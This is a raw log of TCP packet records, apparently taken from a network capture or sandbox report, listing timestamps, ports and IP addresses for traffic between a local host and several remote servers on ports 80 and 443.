Nov 23, 2024 15:22:19.346858025 CET	443	49791	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:19.424752951 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:19.424820900 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:19.424968004 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:19.425018072 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:19.425033092 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:19.425041914 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:19.425045967 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:19.427292109 CET	49792	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:19.427371979 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:19.427583933 CET	49792	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:19.427745104 CET	49792	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:19.427777052 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:19.517239094 CET	443	49786	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:19.517746925 CET	49786	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:19.517760992 CET	443	49786	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:19.518322945 CET	49786	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:19.518327951 CET	443	49786	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:19.518356085 CET	49786	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:19.518362999 CET	443	49786	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:19.566625118 CET	49777	80	192.168.2.4	185.215.113.43
Nov 23, 2024 15:22:19.567017078 CET	49793	80	192.168.2.4	185.215.113.43
Nov 23, 2024 15:22:19.686876059 CET	80	49777	185.215.113.43	192.168.2.4
Nov 23, 2024 15:22:19.686916113 CET	80	49793	185.215.113.43	192.168.2.4
Nov 23, 2024 15:22:19.686976910 CET	49777	80	192.168.2.4	185.215.113.43
Nov 23, 2024 15:22:19.686986923 CET	49793	80	192.168.2.4	185.215.113.43
Nov 23, 2024 15:22:19.687124014 CET	49793	80	192.168.2.4	185.215.113.43
Nov 23, 2024 15:22:19.808023930 CET	80	49793	185.215.113.43	192.168.2.4
Nov 23, 2024 15:22:19.864157915 CET	443	49787	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:19.864234924 CET	49787	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:19.865598917 CET	49787	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:19.865606070 CET	443	49787	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:19.865797997 CET	443	49787	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:19.870094061 CET	49787	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:19.870306969 CET	49787	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:19.870335102 CET	443	49787	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:19.870464087 CET	49787	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:19.870470047 CET	443	49787	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:20.782953024 CET	443	49787	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:20.783030987 CET	443	49787	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:20.783097029 CET	49787	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:20.783226967 CET	49787	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:20.783236027 CET	443	49787	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:20.927862883 CET	49794	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:20.927930117 CET	443	49794	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:20.928119898 CET	49794	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:20.928423882 CET	49794	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:20.928451061 CET	443	49794	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:20.952465057 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:20.953022957 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:20.953058004 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:20.953676939 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:20.953685045 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:20.989656925 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:20.990184069 CET	49789	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:20.990202904 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:20.990636110 CET	49789	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:20.990643978 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:21.050537109 CET	443	49790	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:21.051150084 CET	49790	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:21.051170111 CET	443	49790	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:21.051547050 CET	49790	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:21.051552057 CET	443	49790	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:21.124865055 CET	80	49793	185.215.113.43	192.168.2.4
Nov 23, 2024 15:22:21.124926090 CET	49793	80	192.168.2.4	185.215.113.43
Nov 23, 2024 15:22:21.128539085 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:21.132489920 CET	443	49791	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:21.132900953 CET	49791	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:21.132926941 CET	443	49791	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:21.133322954 CET	49791	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:21.133328915 CET	443	49791	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:21.211180925 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:21.214200020 CET	49792	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:21.214245081 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:21.214647055 CET	49792	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:21.214659929 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:21.248394966 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:21.249979019 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:21.250149012 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:21.370038033 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:21.401679993 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:21.401843071 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:21.402215958 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:21.402293921 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:21.402293921 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:21.402332067 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:21.402358055 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:21.405093908 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:21.405137062 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:21.405230999 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:21.405339003 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:21.405371904 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:21.439227104 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:21.439410925 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:21.439462900 CET	49789	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:21.439488888 CET	49789	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:21.439510107 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:21.439522028 CET	49789	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:21.439532995 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:21.441524982 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:21.441549063 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:21.441744089 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:21.441844940 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:21.441854954 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:21.507730007 CET	443	49790	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:21.507877111 CET	443	49790	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:21.507983923 CET	49790	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:21.508086920 CET	49790	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:21.508111954 CET	443	49790	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:21.508136034 CET	49790	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:21.508148909 CET	443	49790	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:21.510721922 CET	49798	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:21.510749102 CET	443	49798	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:21.510876894 CET	49798	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:21.511020899 CET	49798	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:21.511044979 CET	443	49798	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:21.575862885 CET	443	49791	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:21.576018095 CET	443	49791	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:21.576093912 CET	49791	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:21.576128960 CET	49791	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:21.576142073 CET	443	49791	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:21.576154947 CET	49791	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:21.576162100 CET	443	49791	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:21.578352928 CET	49799	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:21.578372955 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:21.578464031 CET	49799	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:21.578579903 CET	49799	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:21.578592062 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:21.655533075 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:21.655689955 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:21.655754089 CET	49792	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:21.655833006 CET	49792	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:21.655868053 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:21.655874968 CET	49792	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:21.655893087 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:21.675491095 CET	49800	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:21.675509930 CET	443	49800	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:21.675620079 CET	49800	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:21.676017046 CET	49800	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:21.676028967 CET	443	49800	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:22.239656925 CET	443	49794	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:22.239759922 CET	49794	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:22.240993023 CET	49794	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:22.241014004 CET	443	49794	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:22.241223097 CET	443	49794	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:22.242641926 CET	49794	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:22.242758989 CET	49794	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:22.242796898 CET	443	49794	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:22.634068012 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:22.634151936 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:22.634154081 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:22.634315014 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:22.634782076 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:22.634818077 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:22.634849072 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:22.634867907 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:22.634871960 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:22.634907961 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:22.635567904 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:22.635637045 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:22.635654926 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:22.635667086 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:22.635704994 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:22.635704994 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:22.636594057 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:22.636651993 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:22.636715889 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:22.636790991 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:22.753891945 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:22.753973007 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:22.753989935 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:22.754039049 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:22.758089066 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:22.758141041 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:22.758228064 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:22.758550882 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:22.836060047 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:22.836128950 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:22.836189032 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:22.840285063 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:22.840444088 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:22.840512037 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:22.848902941 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:22.848988056 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:22.849065065 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:22.857309103 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:22.857426882 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:22.857494116 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:22.865818977 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:22.865910053 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:22.865945101 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:22.866045952 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:22.874320030 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:22.874396086 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:22.874452114 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:22.882767916 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:22.882885933 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:22.882961035 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:22.891352892 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:22.891438961 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:22.891506910 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:22.898945093 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:22.899034977 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:22.899106979 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:22.906235933 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:22.906308889 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:22.906380892 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:22.910079002 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:22.913477898 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:22.913645029 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:22.913705111 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:22.920645952 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:22.921885967 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.037699938 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.037766933 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.037823915 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.037864923 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.040174007 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.040229082 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.040256023 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.040282011 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.045105934 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.045212984 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.045281887 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.050038099 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.050124884 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.050198078 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.054924965 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.055008888 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.055085897 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.059855938 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.059993982 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.060163975 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.064801931 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.064932108 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.065001965 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.069828987 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.069916964 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.069993019 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.074740887 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.074839115 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.074918032 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.079670906 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.079906940 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.079982996 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.084691048 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.084749937 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.084827900 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.089570045 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.089770079 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.089781046 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.089813948 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.094487906 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.094556093 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.094625950 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.099622965 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.099812031 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.099894047 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.101028919 CET	443	49794	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:23.101095915 CET	443	49794	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:23.101164103 CET	49794	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:23.104454994 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.104511023 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.104521036 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.104554892 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.105766058 CET	49794	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:23.105791092 CET	443	49794	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:23.109324932 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.109451056 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.109519958 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.114223003 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.114336014 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.114398956 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.119234085 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.119302988 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.119371891 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.119371891 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.124103069 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.124187946 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.124228001 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.124274969 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.129085064 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.129194975 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.129283905 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.129367113 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.134145021 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.134208918 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.134270906 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.138932943 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.139005899 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.139086962 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.139148951 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.143853903 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.143914938 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.164572001 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:23.191351891 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:23.209988117 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:23.221626043 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:23.221640110 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:23.222064972 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:23.222071886 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:23.222434998 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:23.222459078 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:23.222870111 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:23.222877026 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:23.239434004 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.239531994 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.239613056 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.240423918 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.241425037 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.241485119 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.241556883 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.241691113 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.245366096 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.245436907 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.245488882 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.245558023 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.249499083 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.249560118 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.249634027 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.249681950 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.253233910 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.253312111 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.253355980 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.253403902 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.256989002 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.257050037 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.257102013 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.257162094 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.260700941 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.260770082 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.261413097 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.261467934 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.264364958 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.264417887 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.264422894 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.264545918 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.267944098 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.268012047 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.268023968 CET	49795	80	192.168.2.4	185.215.113.16
